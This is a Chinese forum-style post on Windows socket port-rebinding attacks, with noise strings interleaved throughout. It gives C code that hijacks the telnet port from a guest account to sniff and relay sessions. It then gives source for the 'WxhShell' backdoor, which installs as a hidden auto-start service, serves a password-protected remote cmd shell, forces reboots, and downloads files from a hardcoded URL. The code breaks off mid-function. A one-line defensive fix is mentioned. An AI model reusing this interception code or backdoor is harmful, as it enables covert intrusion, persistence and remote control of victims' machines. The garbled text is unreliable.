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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xaq=?3QOH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n!EH>'T 4<K ,w{I saddr.sin_family = AF_INET; 3K;b~xg`nw 6DiA2'{f saddr.sin_addr.s_addr = htonl(INADDR_ANY); v"?PhO/{= Qe=Q8cT bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F.* snF \?`d=n= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W:N"O\`{m \t~u
:D 这意味着什么?意味着可以进行如下的攻击: |jCE9Ve# :Y)kKq d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VAB&&AL
7>e~i, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ne%OTr4dD qh'f,#dI} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J\8l%4q3 u=UM^C! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Wx\"wlJ7.3 PXQ9P<m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R?e7#HsJ t>=y7n&q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A#07Ly8kXn DEeL48{R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f"=4,
b42pLbpe'E #include qt&"cw #include (Vv[ #include y&I|m #include ,Vn]Ft?n DWORD WINAPI ClientThread(LPVOID lpParam); &CP@]
pi9L int main() })u}PQ { V6!73 iY WORD wVersionRequested; b2@x(5# DWORD ret; t 6IaRD WSADATA wsaData; wyhf:!-I BOOL val; DlkKQ SOCKADDR_IN saddr; u~T$F/]k> SOCKADDR_IN scaddr; PY:#F|uHS` int err; ->25$5# SOCKET s; g~["O!K3 SOCKET sc; w 4gZ:fR= int caddsize; uV:uXQni`` HANDLE mt; 4J$f @6 DWORD tid; *A9{H>Vq wVersionRequested = MAKEWORD( 2, 2 ); 7T;RXrT err = WSAStartup( wVersionRequested, &wsaData ); "RX5] eJc\ if ( err != 0 ) { xR6IXF>* printf("error!WSAStartup failed!\n"); qJzK8eW return -1; ?4?jG3p } #i=^WN<V saddr.sin_family = AF_INET; )Ua2x@j'C@ (_5+`YsV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =F-^RnO%\ Id
7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %~VIxY|d saddr.sin_port = htons(23); ;xH'%W9z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qtQ:7WO { _~q^YZ printf("error!socket failed!\n"); &rWJg6/ return -1; nhhJUN?8 } SF=|++b1f val = TRUE; #zD+DBTAu //SO_REUSEADDR选项就是可以实现端口重绑定的 >A "aOV>K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jCv+m7Z { b!P;xLcb printf("error!setsockopt failed!\n"); rAdcMFW return -1; ?qW|k6{O } d>-EtWd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W>IKy# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XdVC>6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $iJ
#%&D LMzYsXG*[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m:7bynT{ { _)"
5
gv ret=GetLastError();
6)j4
TH printf("error!bind failed!\n"); 2`eu3vA return -1; EwZt/r } nu-wQr listen(s,2); NU*6iLIq|F while(1) }`]^LFU5 { rt;>pQ9, caddsize = sizeof(scaddr); t\0JNi$2 //接受连接请求 #Og_q$})f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9K(b Z{ if(sc!=INVALID_SOCKET) 4"=pcHNV { 2yc\A3ft# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O$^YUHD if(mt==NULL) 4B
pm{b { IrM3Uh printf("Thread Creat Failed!\n");
fE}}> break; j. cH,Y } $OuA<- } @#">~P|Hp CloseHandle(mt); i:To8kdO } .YbD.{]D closesocket(s); eU*hqy?0 WSACleanup(); Ce emR>\t return 0; c5u?\ } n$iz DWORD WINAPI ClientThread(LPVOID lpParam) tzPe*|m< { y.OUn'^d4 SOCKET ss = (SOCKET)lpParam; g5`YUr+3?h SOCKET sc; p!
1zhD unsigned char buf[4096]; F"I@=R-n SOCKADDR_IN saddr; %/p5C long num; ='azVw%_ DWORD val; |ESe=G DWORD ret; e9nuQ\= //如果是隐藏端口应用的话,可以在此处加一些判断 >~k
Y{_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >EG;2]M& saddr.sin_family = AF_INET; DoA f,9|_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0'",4=c#V saddr.sin_port = htons(23); kS>j!U(%d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q}]un]]Zt { {Gy_QRsp, printf("error!socket failed!\n"); iFnM6O$( return -1; (;0]V+- } 420K fVA val = 100; YjT
#^AH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,KWeW^z'7 { TDFv\y}yc ret = GetLastError(); 7O j9~3o4 return -1; 8vCHH&` } ^;e`ZtcI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i "xq SLf= { ,wjL3c ret = GetLastError(); `1d r$U return -1; gKnAw+u\ } `*B8IT) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N|; cG[W { G(L*8U<UG printf("error!socket connect failed!\n"); Wl{Vz closesocket(sc); x<" e closesocket(ss); 3)sqAs( return -1; i*3_ivc) } Pj$a$C`Z while(1) tpS F[W { gDH x+"? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5|Uub, //如果是嗅探内容的话,可以再此处进行内容分析和记录 F+X3CB,f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }v?{npEOt+ num = recv(ss,buf,4096,0); G:UdU{ if(num>0) AdhCC13B send(sc,buf,num,0); y]k`}&-~ else if(num==0) !Lo{zTDW break; /dO&r'!: num = recv(sc,buf,4096,0); qsLsyi |zG if(num>0) 6eb5 q/ send(ss,buf,num,0); d 1z else if(num==0)
mJ-@:5 break; Z@>>ZS1Do } &]5<^?3 closesocket(ss); SL(Q;_ closesocket(sc); N24+P5 return 0 ; :=* -x } hPl;2r BR|dW4\ b{sFN! ========================================================== Wd[XQZ< &" b0`&l 下边附上一个代码,,WXhSHELL n_5g:`Y bf3)^ 49} ========================================================== *H;&hq M 3^p,[9r# #include "stdafx.h" g?`w)O7v !0cfz5t #include <stdio.h> Kl^Yq #include <string.h> s4w<X}O_ #include <windows.h> Q_ $AGF #include <winsock2.h> hcej?W8j #include <winsvc.h> i;)88 #include <urlmon.h> 1r@v
\#P !
$n^Ze2 ! #pragma comment (lib, "Ws2_32.lib") h~dM*yo; #pragma comment (lib, "urlmon.lib") -WEiY 1wwhTek #define MAX_USER 100 // 最大客户端连接数 lp4sO#>` #define BUF_SOCK 200 // sock buffer l_DPlY #define KEY_BUFF 255 // 输入 buffer X!&=S!} z%b3/rx #define REBOOT 0 // 重启 ,u$$w #define SHUTDOWN 1 // 关机 p<Zf,F} rq$% #define DEF_PORT 5000 // 监听端口 $UKDXQF" |>VHV} 4)< #define REG_LEN 16 // 注册表键长度 h1,J<B@ #define SVC_LEN 80 // NT服务名长度 L&l>?"_ Vb/J` // 从dll定义API |GIT{_JE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #*w$JH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X]`\NNx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5^pQ=Sgt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eK]GyY/Y Z$2mVRS`c // wxhshell配置信息 ofS9h*wrJ struct WSCFG { csYIC Lj int ws_port; // 监听端口 kD2MqR> char ws_passstr[REG_LEN]; // 口令 Yzd-1Jvk int ws_autoins; // 安装标记, 1=yes 0=no >5 Ce/P'R char ws_regname[REG_LEN]; // 注册表键名 5o&L|7] char ws_svcname[REG_LEN]; // 服务名 S&|$F2M char ws_svcdisp[SVC_LEN]; // 服务显示名 IN_GL18^MV char ws_svcdesc[SVC_LEN]; // 服务描述信息 #E>f.:) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |i1z47jN6P int ws_downexe; // 下载执行标记, 1=yes 0=no 7GKeqv char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" IWTD>c). char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DT_012z x!S8' }; 10*U2FY)] Rnj2Q!C2 // default Wxhshell configuration =_=jXWOQv struct WSCFG wscfg={DEF_PORT, H3MT.Cpd "xuhuanlingzhe", 1w?X~VZAX 1, ZSxKk6n}J "Wxhshell", WC}mt%H*O "Wxhshell", n_iq85 "WxhShell Service", x}72jJe` "Wrsky Windows CmdShell Service", ;0@"1` "Please Input Your Password: ", ""TRLs!:M 1, ^fH]Rlx " http://www.wrsky.com/wxhshell.exe", =w,%W^"E "Wxhshell.exe" ^1}}-9q }; hX_;gR&R >C@fSmnOM // 消息定义模块 +BmA4/P$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; df}B:?Ew. char *msg_ws_prompt="\n\r? for help\n\r#>"; fyT! / char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; IiSO{ char *msg_ws_ext="\n\rExit."; 3vDV
char *msg_ws_end="\n\rQuit."; ;9d(GP}eE char *msg_ws_boot="\n\rReboot..."; V.;0F%zks5 char *msg_ws_poff="\n\rShutdown..."; `Q}.9s_ri char *msg_ws_down="\n\rSave to "; Q TM+WD ;sb0,2YyP char *msg_ws_err="\n\rErr!"; URY%+u char *msg_ws_ok="\n\rOK!"; )6Z)z;n]aW Xig%Q~oMp char ExeFile[MAX_PATH]; >KC*xa" int nUser = 0; dA)7d77 HANDLE handles[MAX_USER]; *F2ob pU int OsIsNt; 9v0f4Pbxm UI |D?z< SERVICE_STATUS serviceStatus; /TS>I8V! SERVICE_STATUS_HANDLE hServiceStatusHandle; 3)I v8mA 2L ~U^ // 函数声明 lYU_uFOs\ int Install(void); RQv`D&u_ int Uninstall(void); ykM(`
1`m int DownloadFile(char *sURL, SOCKET wsh); W>'R<IY4#N int Boot(int flag); L2AZ0E"ub void HideProc(void); -x5^>+Y4 int GetOsVer(void); o"K{^ L~u int Wxhshell(SOCKET wsl); @~/LsYA: void TalkWithClient(void *cs); 1,BtOzuRo int CmdShell(SOCKET sock); QZ%_hvY[%> int StartFromService(void); 5h1FvJg int StartWxhshell(LPSTR lpCmdLine); #2|sS|0 < G`gYwgU; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B
+_D*a VOID WINAPI NTServiceHandler( DWORD fdwControl ); u]CW5snz hNSV}~h // 数据结构和表定义 sLb[ZQ;j SERVICE_TABLE_ENTRY DispatchTable[] = oQFpIX;\m { >e"1a/2%>& {wscfg.ws_svcname, NTServiceMain}, n(-XI&Kn {NULL, NULL} z$H
|8L }; naW}[y*y; L<5go\!bV // 自我安装 CQ6Z[hLWF int Install(void) k2p{<SO; { GXJJOy1"! char svExeFile[MAX_PATH]; ln#Lx&r;| HKEY key; A .*}< strcpy(svExeFile,ExeFile); TE^BfAw@ Uo5l
=\ // 如果是win9x系统,修改注册表设为自启动 b'uH4[zX% if(!OsIsNt) { `[/BG)4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EVrOu"" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =@&]PYv RegCloseKey(key); o=4d2V%m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +*~?JT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i$ "B RegCloseKey(key); FtT+Q$q= return 0; (Kv[~W7lb } cqi: Rj
} g@KS\.m] } VI[ikNpX else { 1/JgirVA -.i1l/FzP // 如果是NT以上系统,安装为系统服务 ^~8l|d_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #Z(8 vA^@ if (schSCManager!=0) 8iR%?5 >K { #2{ };) SC_HANDLE schService = CreateService ``K.4sG ( -E?h^J&U schSCManager, !~"q$T>@ wscfg.ws_svcname, UvxJ _ wscfg.ws_svcdisp, }=az6cLE2 SERVICE_ALL_ACCESS, 0B>{31) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r68'DJ&m3 SERVICE_AUTO_START, teQ%t~PJ-& SERVICE_ERROR_NORMAL, 66Huqo svExeFile, R/A40i NULL, q?e97 a NULL, ?:~Y%4; NULL, SPn0D9b] NULL, 6*{N{]`WZ) NULL }"2
0: ); O83vPK
3 if (schService!=0) ^1Y0JQ { LH3PgGi, CloseServiceHandle(schService); _Z@- q CloseServiceHandle(schSCManager); 0ppZ~}& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #p6#,PZ strcat(svExeFile,wscfg.ws_svcname); 5<Xq7|Jt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a&M{y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Oy&Myjny< RegCloseKey(key); IH'DCY: return 0; >jq~5HN } $@7S+'Q3 } b-;+&Rb CloseServiceHandle(schSCManager); B}C"Xc } Zii<jZ.)< } 0".pw; .} F]0O4p~fl return 1; MX xRM~ } xmT(yv, Ud\Jc:DG // 自我卸载 WpWnwQY`# int Uninstall(void) w f,7 { eICk}gfun HKEY key; NUX0=(k #xNLr if(!OsIsNt) { =k2In_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bWW$_Spr RegDeleteValue(key,wscfg.ws_regname); qWfG@hn RegCloseKey(key); AN\: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '&xv)tno RegDeleteValue(key,wscfg.ws_regname); K\`L>B. 1 RegCloseKey(key); mflH &Bx9 return 0; x$cs_q]J } ^$4d' } 4M}u_}9 } F9^8/Z else { N;9@-Tb wh<+.Zp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k "LbB#Q if (schSCManager!=0) 9axJ2J'g { "nf.kj:> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kz@@/DD/9 if (schService!=0) o2He}t2o { EdhT;! if(DeleteService(schService)!=0) { q1;}~}W;z4 CloseServiceHandle(schService); I?.$ CloseServiceHandle(schSCManager); [kDjht|$> return 0; >c|u|^3zt } %J!+f-:= CloseServiceHandle(schService); f.!)O@HzH } Rq%g5lK CloseServiceHandle(schSCManager); ?PO~$dUc] } "~jt0pp } .#2YJ~ k`F$aQV9` return 1; Q?B5@J } ~ou*'
w@ kQxY"HD // 从指定url下载文件 !i&^H, int DownloadFile(char *sURL, SOCKET wsh) OQ;DqV { DK}k||- HRESULT hr; Hc ]/0: char seps[]= "/"; K{%}kUj> char *token; ]s?BwLU6 char *file; H-K,Q%;C@ char myURL[MAX_PATH]; ;H9d.D8 char myFILE[MAX_PATH]; :<YcV#!P @kK${ strcpy(myURL,sURL); h3$.`
>l token=strtok(myURL,seps); 3)^-A4~E while(token!=NULL) : |#Iw {
q+>J'UGb file=token; %=xR$<D token=strtok(NULL,seps); o$FqMRep
} )q&=x2` s?@{ GetCurrentDirectory(MAX_PATH,myFILE); HF"
v
\ strcat(myFILE, "\\"); {w$1_GU strcat(myFILE, file); 7hqa| send(wsh,myFILE,strlen(myFILE),0); %3M(!X:[ send(wsh,"...",3,0); t,4q]Jt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Lv
eZ_h5 if(hr==S_OK) lpQsmd# return 0; ~+d?d6*c else (1T2?mO return 1; qba<$ g Q%'2m+ } I2hX;pk, In#V1[io // 系统电源模块 W'hE, int Boot(int flag) zM%ILv4 { e; 5n.+m HANDLE hToken; M:z)uLDw TOKEN_PRIVILEGES tkp; aT$q1!U`j2 @C{IgV if(OsIsNt) { !2s<
v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nc:, [8{l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /-Y*V*E tkp.PrivilegeCount = 1; ;Y5"[C9| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _Il/ i& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4h\MSTF* if(flag==REBOOT) { QijEb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $m] ~d6 return 0; n*(Vf'k } d?C8rkV' else { qRT1W re
3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `d2}>
return 0; )eop:!m } }\k"azQ` } -Qgu6Ty else { ] S<y,d- if(flag==REBOOT) { &2C6q04b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~gQ$etPd return 0; .<}(J#vC } z1XFc*5 else { kFZw"5hb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PXof-W return 0; h4N!zj[ } o65:)z
u }
{Hm0 Q u;18s-NY return 1; t<mT=(zt* } t$^1A1Ef Z[<rz6%cB // win9x进程隐藏模块 ,rVm81-2 void HideProc(void) gq~>S1 { Sr Z\] iK8aj)%Q@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-.t8X,5(~ if ( hKernel != NULL ) rK)aR { 2j&-3W$^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e@"1W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Ko[[?Lf[ FreeLibrary(hKernel); E5qh]z( } *jM~VTXwt z6 2gF|Uj return; F#>?i} } ig:,: KN A ^@:Ps // 获取操作系统版本 nQ2V int GetOsVer(void) k_?xiOSh { xtMN<4#E OSVERSIONINFO winfo; xzTTK+D@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N+%E=D> GetVersionEx(&winfo); :=WiT_M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RO"c+|Py return 1; E:/G!1 else :bFCnV`Q return 0; 3qU#Rg
;7 } q'~?azg: H~UxVQLPp // 客户端句柄模块 Njsz= int Wxhshell(SOCKET wsl) Tn2nd { aTF~rAne< SOCKET wsh; t<s:ut)Q! struct sockaddr_in client; zBD ?O! DWORD myID; T;K,.a8bU rM<|<6(L while(nUser<MAX_USER) X-&t!0O4}` { #
le<R int nSize=sizeof(client); b-R!oP+vP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g((glr)6M if(wsh==INVALID_SOCKET) return 1; M&o@~z0 aZEi|\VU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "Opk:;. if(handles[nUser]==0) O Z<iP closesocket(wsh); }z:g}".4 else p.^glz >B nUser++; ]7" W( } 5W_u|z+/g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S\=j; Uem jq#gFt* return 0; PhL }V|W> } Q`k=VSUk ep`WYR|B // 关闭 socket tj/X7| void CloseIt(SOCKET wsh) rUvjc4O} { Z]f_?@0 closesocket(wsh); $/^DY& nUser--; F0h`>{1% ExitThread(0); rmXxid } ;BzbWvBo oe,I vnt // 客户端请求句柄 N"Y) void TalkWithClient(void *cs) =>nrU8x { ??eSGQ| "`]G>,r_ SOCKET wsh=(SOCKET)cs; ) *Mr{` char pwd[SVC_LEN]; (3 xCW
char cmd[KEY_BUFF]; ;mH O# char chr[1]; <>JN3? int i,j; NFq&a i .y'iF>QQ\ while (nUser < MAX_USER) { 6\>S%S2: P__JN\{9 if(wscfg.ws_passstr) { 8q9HQ4dsL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dl_ h0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {"|P //ZeroMemory(pwd,KEY_BUFF); OI0#@_L& i=0; 2z9\p%MX while(i<SVC_LEN) { _K"|}bM W>3[+wB // 设置超时 kDJ$kv fd_set FdRead; wGdnv}# struct timeval TimeOut; {(;dHF%{ FD_ZERO(&FdRead); mLApF5Hy FD_SET(wsh,&FdRead); ^uB9EP*P TimeOut.tv_sec=8; ?m.WqNBH7 TimeOut.tv_usec=0; S9/oBxGN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8xs}neDg* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _GEt:=DAP# I3 /^{-n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [>+R|;ln pwd =chr[0]; r}kQ<SRx if(chr[0]==0xd || chr[0]==0xa) { &)`xlIw} pwd=0; i#Tm] ++ break; Qvc "?yx8} } K;,zE6WD$$ i++; lbM)U } A[lbBR d%1Tv1={ // 如果是非法用户,关闭 socket ~uy{6U{&I if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [vM ksHk4 } $|+q9o\ Ia_I~ U$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
*Ju$A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Py2AnpYa 7|4t;F! while(1) { ]7<}EG e8T#ZWr* ZeroMemory(cmd,KEY_BUFF);
o!:V=F mS?.xu // 自动支持客户端 telnet标准 K@av32{ j=0; Ln6\Iis while(j<KEY_BUFF) { 5(BB`) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q@K8,=/.# cmd[j]=chr[0]; !RX\">z if(chr[0]==0xa || chr[0]==0xd) { 05=
$Dnv cmd[j]=0; /{Ff)<Q.Z break; I5EKS0MQ! } j{k]8sI,H] j++; (
R2432R}J } R@*mMWW, Ky"]L~8$ // 下载文件 * V;L|c if(strstr(cmd,"http://")) { oU/CXz?H send(wsh,msg_ws_down,strlen(msg_ws_down),0); tQ!p<Q=
$) if(DownloadFile(cmd,wsh)) ee7#PE]} send(wsh,msg_ws_err,strlen(msg_ws_err),0); |'@c ~yc else #rZF4>c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SN
w3xO!;& } BET3tiHV else { <}e2\x fTQ_miAlP switch(cmd[0]) { IQn|0$':Z 8MUY // 帮助 +um
Ua case '?': { L~x
PIu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pkWJb! break; l!r2[T]I@7 } 5]C}044 // 安装 T NwBnMe case 'i': { jUny&Alj if(Install()) &T7|f!y send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Xwr*FTr else DH7B4P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nR%ASUx:Y break; Qsv3`c } %N((p[\H // 卸载 "J51\8G@@ case 'r': { ly,3,ok if(Uninstall()) UO3QwZ4j; send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Fn^@/?yC else "9mVBa|Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]IX6>p, break; Ql~9a
[8T~ } oW0A8_|9 // 显示 wxhshell 所在路径 |>w>}w`~ case 'p': { cJb.@8^J char svExeFile[MAX_PATH]; 8:W,"" strcpy(svExeFile,"\n\r"); ;ZnSWIF2 strcat(svExeFile,ExeFile); ;Y/{q B! send(wsh,svExeFile,strlen(svExeFile),0); RM^3Snd=V break; H{XbKLU } BGk>:Z` // 重启 -)cau-(X case 'b': { Cs2hi,s send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .MoOjx? if(Boot(REBOOT)) QU`M5{# send(wsh,msg_ws_err,strlen(msg_ws_err),0); NO(^P+s else { %BdQ.\4DS closesocket(wsh); &b!L$@6 ExitThread(0); !m7`E } ].E89 _|O break; jZRf{ } FG-v71!h# // 关机 q_0So} case 'd': { ;3\oU$' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E;$;g#ksf if(Boot(SHUTDOWN)) >[,ywRJ#_} send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yd}Jz else { 608}-J=3# closesocket(wsh); c~_nOd ExitThread(0); 96L-bBtyY } 1|]IWX| break; Vjv~RNGF } 1_AB;^ // 获取shell
dv?ael^ case 's': { [73 \jT CmdShell(wsh); i=m5M]Ef closesocket(wsh); Y|'0bujr ExitThread(0); 9\yGv break; "c0I2wq } Uavr>- // 退出 Z*AT &7 case 'x': { GM1z@i\5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }}R?pU_ CloseIt(wsh); )@vhqVv? break; nFRU-D$7 } Xv1SRP# // 离开 ,F&TSzH[@v case 'q': { O)0}yF$0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); @D?KS;# closesocket(wsh); c"nowbf WSACleanup(); <)hA?3J exit(1); {ylY"FA break; }01c7/DRP< } _*tU.x|DP } K-_XdJ\ } 74[wZDW|( SJseP_- // 提示信息 GJu[af if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <7U\@si4 } 2)iwAu
} b"Z$?5 iy<|<*s2D return; IE)$.%q;) } n\-nBrVSf
U(d K // shell模块句柄 ?L%BD7 int CmdShell(SOCKET sock) ^{Vt { #8Bs15aV STARTUPINFO si; JAQ y ZeroMemory(&si,sizeof(si)); d8)ps, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p`dH4y]D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Z#0kpXk_ PROCESS_INFORMATION ProcessInfo; #9(0.!v char cmdline[]="cmd"; @3^D[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?%|w?Fdx- return 0; _u[2R=h } 1g{-DIOmn Nld y76|g // 自身启动模式 u<g0oEs) int StartFromService(void) Q)/V>QW { b7^Db6qu typedef struct {^5LolCCH { F
K7cDaI DWORD ExitStatus; v>XAzA DWORD PebBaseAddress; 4# L}& DWORD AffinityMask; d@0p<at>~ DWORD BasePriority; L:.z
FW, ULONG UniqueProcessId; Bf21u9 ULONG InheritedFromUniqueProcessId; 8Q{"W"]O7 } PROCESS_BASIC_INFORMATION; F@%`(/^TA yb-1zF| PROCNTQSIP NtQueryInformationProcess; 7R4t%^F <:n!qQS6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]+"25V'L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3}7`?$5 2l4*6rYa( HANDLE hProcess; \80W?9qj PROCESS_BASIC_INFORMATION pbi; r_x|2 AoO ~E8L,h~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #JAy if(NULL == hInst ) return 0; eP?=tUB!S ir{li?kV g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5LF &C0v g_pGetModuleBaseName = 